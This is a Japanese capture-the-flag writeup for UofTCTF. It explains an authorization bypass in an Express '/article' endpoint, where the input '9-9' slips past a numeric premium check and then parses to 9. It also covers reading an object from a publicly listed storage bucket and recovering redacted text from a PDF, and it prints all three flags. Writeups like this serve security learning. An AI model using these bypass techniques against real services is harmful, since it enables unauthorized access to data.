# UoftCTF Writeup
[toc]
## Web
### The Vartity
FLAGは、article配列内にあります。
```javascript
const articles = [
{
"title": "Pioneering the Future: UofT's Revolutionary AI Research",
"content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
},
...
{
title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
content: "Your flag is: " + FLAG,
},
];
```
articleを参照できるのは、`/article`エンドポイントなので、詳しく見ていきましょう。
```javascript
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let issue = req.body.issue;
if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}
if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}
issue = parseInt(issue);
if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}
return res.json(articles[issue]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "Not Authenticated" });
}
} else {
return res.status(403).json({ message: "Not Authenticated" });
}
});
```
`issue変数`が、配列内の要素を表すようです。
```javascript
return res.json(articles[issue]);
```
FLAGは、index 9にあるため、`issue:9`にすればよさそうですが、`subscription`がguestになります。
<details>
<summary>server.ts</summary>
```javascript
app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (
typeof username === "string" &&
(!voucher || typeof voucher === "string")
) {
const subscription = voucher === FLAG + JWT_SECRET ? "premium" : "guest";
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "Invalid voucher" });
}
```
</details>
そのため、issueは9未満でなければなりません。
```javascript
if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}
```
ですが、issueは再代入されることがわかります。
```javascript
issue = parseInt(issue);
```
ここで悪用ができれば幸せです。
では検証していきましょう。
```javascript
issue = "9-9";
issue >= 9; // false
parseInt(issue); // 9
```
この挙動を利用すればうまくいきそうなことがわかります。
```javascript
if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}
```
まずここは、true && falseの結果falseで次の処理へ行きます。
```javsacript
issue = parseInt(issue);
```
続いて、issueに9が入ります。
```javascript
if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}
```
最後、ここはもちろん引っかかりません。
`articles.length - 1 = 9`で、`issue = 9`ですし、isNaNではないためです。
つまりこれでFLAGが降ってきます。

```json
{"title":"UofT Hosts its 2nd Inaugural Capture the Flag Event","content":"Your flag is: uoftctf{w31rd_b3h4v10r_0f_parseInt()!}"}
```
## Miscellaneous
### Out of the Buscket
`/out-of-the-bucket`にアクセスすると、以下のように怪しい何かが見えます。
```xml
<Contents><Key>secret/dont_show</Key><Generation>1703868647771911</Generation><MetaGeneration>1</MetaGeneration><LastModified>2023-12-29T16:50:47.809Z</LastModified><ETag>"737eb19c7265186a2fab89b5c9757049"</ETag><Size>29</Size></Contents>
```
`/out-of-the-bucket/secret/dont_show`にアクセスするとフラグが取得できます。
```text=
uoftctf{allUsers_is_not_safe}
```
## Forensics
### Secret Message 1
配布されるsecret.pdfの黒塗り部分をコピーしてどっかに貼り付けるとフラグが取得できる。
```text=
uoftctf{fired_for_leaking_secrets_in_a_pdf}
```